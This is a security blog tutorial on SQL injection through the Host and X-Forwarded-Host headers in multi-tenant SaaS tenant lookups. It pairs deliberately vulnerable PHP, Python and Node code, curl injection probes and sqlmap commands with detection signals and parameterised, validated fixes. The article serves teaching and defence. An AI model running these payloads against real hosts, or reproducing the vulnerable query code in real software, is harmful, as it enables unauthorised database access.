TechEarl

Host Header SQL Injection: Multi-Tenant Routing Gone Wrong

Host header SQL injection happens in multi-tenant SaaS apps that look up the tenant by hostname. Same pattern applies to X-Forwarded-Host. The vulnerable code, how to test it by hand, the sqlmap one-liner, and the defence that scales with tenant count.

Ishan Karunaratne⏱️ 8 min readUpdated
Share thisCopied
Host header SQL injection in multi-tenant SaaS routing

Host header SQL injection is the multi-tenant SaaS variant of the bug. The application receives a request with Host: acme.app.example, looks up "which tenant is acme" in its database, and uses that lookup to route the request. If the lookup query concatenates the host value rather than parameterising it, the Host header becomes a SQL injection vector. The same pattern applies to X-Forwarded-Host when the app reads that header behind a proxy.

This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map.

In short: Host-header SQL injection is the multi-tenant SaaS variant of the bug. The application receives a request, reads the Host header (or X-Forwarded-Host behind a proxy) to identify which tenant it belongs to, and concatenates that hostname into a database lookup against a tenants or custom_domains table. Wildcard DNS and custom-domain support both make this code path attacker-reachable on every request. The exploit is one curl command with a crafted -H "Host: ..." value. The fix is parameterise the lookup, validate the host shape against the RFC 1123 hostname regex before use, and cache the hostname-to-tenant mapping so the database lookup runs once per tenant rather than once per request. sqlmap tests Host only at --level=5, or explicitly with --headers='Host: tenant.app*'.

Why multi-tenant routing creates this vector

The shared-hostname pattern works like this:

  • Customers get hostnames like acme.app.example, globex.app.example.
  • All hostnames resolve to the same servers via wildcard DNS (*.app.example).
  • The application reads the Host header on every request to determine which tenant the request belongs to.
  • The tenant lookup is typically a database query: "find the tenant where hostname = acme.app.example."

The lookup query is the candidate site. If it concatenates rather than parameterises, the Host header is in a SQL context on every single request to the platform.

Custom domain support adds another layer (see PortSwigger's HTTP Host header attacks for the broader Host-header attack surface): customers can point their own domains (app.acme.com) at the platform. The lookup now needs to handle both the platform's wildcard subdomain and arbitrary custom domains, which sometimes pushes developers toward more dynamic SQL.

Where does Host-header SQL injection actually show up?

  1. Tenant lookup by hostname. "Find the tenant for this Host." Every request to a multi-tenant SaaS triggers this query.
  2. Custom-domain lookup. "Find the tenant by their custom domain mapping."
  3. Subdomain-as-tenant-identifier extraction with database lookup. "Parse the subdomain and look up its tenant."
  4. Audit logging of the hostname. Same pattern as User-Agent logging.
  5. Per-host configuration lookup. "Fetch the theme/feature flags for this hostname."

Cases 1 and 2 are the most exposed because they execute on every request and they sit on a code path that is often hand-rolled rather than framework-provided.

The vulnerable code

PHP, the tenant-lookup case:

php
$host = $_SERVER['HTTP_HOST']; // includes the port if non-default
$sql = "SELECT id, name FROM tenants WHERE hostname = '$host'";
$tenant = mysqli_query($conn, $sql)->fetch_assoc();

Python with Flask, custom-domain case:

python
host = request.headers.get('Host', '').split(':')[0]  # strip port
row = db.execute(
    f"SELECT tenant_id FROM custom_domains WHERE domain = '{host}'"
).fetchone()

Node.js with Express, subdomain extraction:

javascript
const host = req.headers['host'].split(':')[0];
const subdomain = host.split('.')[0];
const result = await pool.query(
  `SELECT * FROM tenants WHERE subdomain = '${subdomain}'`
);

Same shape, different parsing. The bug is the concatenation.

Why developers think it's safe

  1. "The Host header is set by the browser based on the URL, the user did not type it." No. The user can navigate to any URL they want, including one with an attacker-crafted Host portion. They can also send a raw HTTP request with any Host value.
  2. "My DNS only resolves valid tenant hostnames." DNS resolves anything the attacker requests. They can send Host: ' OR 1=1-- -.app.example and your DNS configuration is irrelevant; the request still reaches your server.
  3. "The load balancer rejects requests with invalid Host." Most do not. They route by Host but accept anything.
  4. "It's just the hostname, what could go wrong?" It is a string. Strings concatenated into SQL queries injection-bug.

How do you test the Host header for SQL injection by hand?

The Host header is set by the HTTP client. curl sets it from the URL by default, but -H "Host: ..." overrides:

bash
# Baseline
curl -s -H "Host: acme.app.example" "https://app.example/api/ping" \
  -o baseline.json

# Probe
curl -s -H "Host: acme' OR '1'='1" "https://app.example/api/ping" \
  -o probe.json

diff baseline.json probe.json | head

If the response changes (different tenant returned, different rendered content, a different status code), the Host header is in a SQL context.

Error-trigger:

bash
curl -i -H "Host: '" "https://app.example/api/ping" 2>&1 | head -20

Time-based:

bash
curl -w "\n%{time_total}\n" \
  -H "Host: acme' AND SLEEP(5)-- -" \
  "https://app.example/api/ping"

5+ second response confirms it.

For an application that reads X-Forwarded-Host instead of Host (common behind a proxy that rewrites the Host header):

bash
curl -H "X-Forwarded-Host: acme' OR '1'='1" \
  "https://app.example/api/ping"

What is the sqlmap command for Host-header injection?

Discovery with --level=5 (Host is gated at the highest level per the sqlmap official Usage wiki):

bash
sqlmap -u "https://app.example/api/ping" \
  --level=5 --batch --random-agent

Explicit with --headers and *:

bash
sqlmap -u "https://app.example/api/ping" \
  --headers="Host: acme.app.example*" \
  --batch

For X-Forwarded-Host:

bash
sqlmap -u "https://app.example/api/ping" \
  --headers="X-Forwarded-Host: acme.app.example*" \
  --batch

Once injection is confirmed, the enumeration sequence is identical to every other vector. See the sqlmap cheat sheet.

Detection signals

  • Host values that are not valid hostnames. A real Host header matches ^[a-zA-Z0-9.-]+(\:\d+)?$. Anything containing single quotes, comment markers, or SQL keywords is exploitation.
  • Host values with no matching tenant. Legitimate requests resolve to a known tenant. Probes resolve to nothing in particular. A spike of "unknown tenant" lookups from one source IP is signal.
  • The standard information_schema read. As ever.

A high-leverage rule for multi-tenant SaaS: validate the Host header matches the hostname-regex at the WAF or reverse proxy, before the application sees it. Drop the request if it does not parse.

How do you defend against Host-header SQL injection?

Parameterise the tenant lookup. Same rule. Python:

python
host = request.headers.get('Host', '').split(':')[0]
row = db.execute(
    "SELECT tenant_id FROM custom_domains WHERE domain = ?",
    (host,)
).fetchone()

Validate the host shape before lookup. Hostnames have a structure (RFC 1123 / RFC 5891). Reject anything that does not parse:

python
import re

HOSTNAME_RE = re.compile(r'^[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$')

def safe_host(raw):
    if not raw:
        return None
    candidate = raw.split(':')[0]
    if HOSTNAME_RE.match(candidate):
        return candidate
    return None

The regex rejects anything containing quotes, comment markers, or SQL keywords. Validation plus parameterisation is the layered defence.

Use a cache. Tenant lookups happen on every request; database tenant lookups are slow and an exploitation vector. Cache the hostname-to-tenant mapping in memory or Redis, populated from the database on a schedule. The database query then runs once per tenant per cache TTL, drastically reducing the attack surface.

Defence at the infrastructure level

  • Validate Host at the reverse proxy. nginx: if ($host !~* "^[a-zA-Z0-9.-]+$") { return 400; }. HAProxy and others have equivalents. Bad Host values get rejected before reaching the application.
  • Wildcard certificate scope. Your TLS certificate covers *.app.example. An attacker sending Host: ' OR 1=1' . app.example will fail the cert validation before reaching application code in most well-configured setups. Use this as a defence-in-depth layer; do not rely on it as primary.
  • Separate the lookup database user. The tenant-lookup query needs SELECT on tenants and custom_domains and nothing else. Definitely no SELECT on information_schema. If the SQLi succeeds, the attacker can read one table.

Common defence mistakes

  1. Splitting the Host on : to strip the port and considering the value clean. Stripping the port does nothing for injection.
  2. Validating in the routing middleware but the audit middleware logs the raw header. Both code paths need defence.
  3. Trusting Host when reading X-Forwarded-Host behind a proxy. If the proxy passes both, validate both.
  4. Relying on DNS to enforce valid hostnames. DNS is on the client side; the server sees what was sent.

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagsSQL InjectionHost HeaderMulti-TenantSaaSHTTP Headerssqlmap

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

Referer Header SQL Injection: A Practical Guide

Referer-header SQL injection lives in click-attribution tables, marketing analytics, and anti-CSRF logging. Same shape as User-Agent injection but distinct enough to need its own treatment. Vulnerable code, curl exploit, sqlmap commands, defence.

X-Forwarded-For SQL Injection: The Proxy Header Bug

X-Forwarded-For SQL injection lives in geolocation tables, audit logs, IP-based ban lists, and rate-limit lookups. Same family includes X-Real-IP, X-Client-IP, True-Client-IP. The vulnerable code, manual exploit with curl, sqlmap commands, and the fix.